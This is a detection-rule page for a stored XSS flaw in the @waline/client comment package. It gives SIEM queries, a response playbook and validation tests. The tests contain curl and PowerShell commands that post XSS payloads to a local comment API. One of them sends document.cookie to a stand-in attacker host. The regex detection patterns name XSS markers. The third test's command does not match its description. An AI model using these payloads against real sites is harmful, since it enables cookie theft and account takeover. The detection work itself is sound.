Detect @waline/client Stored XSS via Unsanitized Comment Edit Previews (CVE-2026-64670) in Sumo Logic CSE
Detects exploitation attempts against CVE-2026-64670, a stored cross-site scripting (XSS) vulnerability in the @waline/client npm package (<= 3.16.2). The comment edit preview renders Markdown/HTML content without proper sanitization (CWE-79/CWE-116), allowing an attacker to inject persistent script payloads through comment submission or edit APIs. When the malicious comment is later previewed or rendered to other users, the injected JavaScript executes in the victim's browser context, enabling session hijacking, credential theft, and defacement. CVSS 9.3. This detection surfaces comment POST/PUT requests to Waline backend endpoints containing script markers, event-handler attributes, or encoded HTML, and browser/CSP telemetry indicating script execution originating from comment content.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Sumo Detection Query
// df00tech DF00-bbc2547629 · https://df00tech.com/detections/CVE-2026-64670 · licence: https://df00tech.com/detections/licence
_sourceCategory=*web* (POST OR PUT)
| where (uri matches "*comment*" or uri matches "*/waline*")
| where (_raw matches /(?i)(<script|javascript:|onerror=|onload=|onmouseover=|onfocus=|<svg|<img|document\.cookie|eval\(|fromCharCode|&#x)/)
| parse regex "(?<src_ip>\d+\.\d+\.\d+\.\d+)" nodrop
| count by src_ip, uri
| sort by _count Sumo Logic query identifying XSS payloads in POST/PUT traffic to Waline comment endpoints.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate HTML/JS discussion in comment bodies
- Scanner and pentest traffic
- Automated availability checks
Other platforms for CVE-2026-64670
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Submit stored XSS payload via Waline comment API (script tag)
Expected signal: Web server access log entry: POST /api/comment with body containing <script> and document.cookie
- Test 2 Submit event-handler XSS payload via comment edit
Expected signal: Web server access log entry: PUT /api/comment/1 with body containing <img and onerror=
- Test 3 Submit HTML-entity-encoded XSS payload
Expected signal: Web server access log entry: POST /api/comment with body containing <script encoded markers
Response Playbook
Triage
- Confirm the deployed @waline/client version; versions <= 3.16.2 are vulnerable to CVE-2026-64670. Check package-lock.json / node_modules/@waline/client/package.json.
- Extract the full comment payload from the flagged request and decode any HTML/URL/entity encoding to determine whether it contains an executable script, event handler, or javascript: URI.
- Identify the target comment thread/page and determine whether the stored payload has already been rendered to other users (check view counts, CDN cache, and subsequent GET requests to the affected page).
- Review the submitting account and source IP for prior comment activity or reputation (anonymous vs authenticated, repeated submissions, scanner user-agents).
Containment
- Delete or quarantine the malicious comment record from the Waline datastore (e.g., the comments collection/table) to stop further rendering, and purge any CDN/edge cache of affected pages.
- Deploy a WAF/CSP mitigation: add a strict Content-Security-Policy (script-src 'self') to pages rendering Waline comments and block request bodies matching XSS markers until the package is patched/upgraded above 3.16.2.
Evidence Collection
- Preserve the raw web server/WAF logs for the POST/PUT request including full body, headers, source IP, and timestamp.
- Export the stored comment record and the HTML as rendered in the edit-preview/display path, plus any browser CSP violation reports or session-token access logs tied to viewers of the affected page.
Escalation Criteria
- !Escalate to incident response if telemetry shows the payload executed in victim browsers (CSP violations, anomalous session-token use, or outbound beacons to attacker-controlled domains).
- !Escalate if the payload targeted administrator/moderator views or if exfiltration of session cookies/credentials is confirmed, indicating potential account takeover.
Investigation Guide
Forensic Artifacts
- >
Stored comment record in the Waline backend datastore containing the injected markup - >
Web server/WAF access logs with the POST/PUT request body - >
Browser CSP violation reports and session-token access logs for users who viewed the affected page - >
CDN/edge cache entries of the rendered page
Tuning Guidance
Baseline legitimate comment traffic on your Waline deployment first, technical blogs that allow code snippets will produce benign matches on markers like <script or eval(. Narrow by requiring at least two distinct markers or an event-handler attribute paired with a tag, and by excluding known QA/scanner source IPs. If Waline renders Markdown only, tighten regexes to raw HTML/event-handler patterns that survive its sanitizer. Prioritize alerts where a flagged submission is followed by GET requests to the same thread from other clients (evidence of stored payload delivery).
Hunting Queries
Hunt for repeated XSS-marker-bearing submissions to Waline comment endpoints clustered by source IP.
// df00tech DF00-bbc2547629 · https://df00tech.com/detections/CVE-2026-64670 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csMethod in ("POST","PUT") and csUriStem has "comment" | where csUriQuery has_any ("onerror","<script","javascript:","document.cookie") | summarize count() by cIP, bin(TimeGenerated, 1h) ``` df00tech DF00-bbc2547629 · https://df00tech.com/detections/CVE-2026-64670 · licence: https://df00tech.com/detections/licence ```
index=web (method=POST OR method=PUT) uri_path="*comment*" | regex _raw="(?i)(<script|onerror=|javascript:|document\.cookie)" | stats count by src_ip, uri_path Atomic Red Team Tests
Posts a comment containing a script tag to the Waline comment endpoint to validate detection of unsanitized HTML in the submission path.
Command
curl -s -X POST 'http://localhost:8360/api/comment' -H 'Content-Type: application/json' -d '{"url":"/test","comment":"<script>document.location=\"https://attacker.example/c?\"+document.cookie</script>","nick":"tester","mail":"[email protected]"}' Cleanup
curl -s -X DELETE 'http://localhost:8360/api/comment/<comment_id>' -H 'Authorization: Bearer <admin_token>' Expected Telemetry
Web server access log entry: POST /api/comment with body containing <script> and document.cookie
Expected Detection
KQL/SPL rules match the POST to a comment endpoint containing <script> and document.cookie markers.
Edits an existing comment to inject an img onerror event handler, exercising the vulnerable edit-preview rendering path.
Command
curl -s -X PUT 'http://localhost:8360/api/comment/1' -H 'Content-Type: application/json' -d '{"comment":"<img src=x onerror=alert(document.cookie)>"}' Cleanup
curl -s -X PUT 'http://localhost:8360/api/comment/1' -H 'Content-Type: application/json' -d '{"comment":"benign"}' Expected Telemetry
Web server access log entry: PUT /api/comment/1 with body containing <img and onerror=
Expected Detection
Detection matches PUT to comment endpoint with <img and onerror= event handler.
Posts an entity-encoded script payload to test detection of obfuscated XSS that may bypass naive sanitizers in the preview renderer.
Command
powershell -Command "Invoke-RestMethod -Method Post -Uri 'http://localhost:8360/api/comment' -ContentType 'application/json' -Body '{\"url\":\"/test\",\"comment\":\"<script>alert(1)</script>\",\"nick\":\"t\",\"mail\":\"[email protected]\"}'" Cleanup
Remove-Item -Path .\waline-test-comment.json -ErrorAction SilentlyContinue Expected Telemetry
Web server access log entry: POST /api/comment with body containing <script encoded markers
Expected Detection
Detection matches encoded HTML entity markers (&#x) in a comment submission.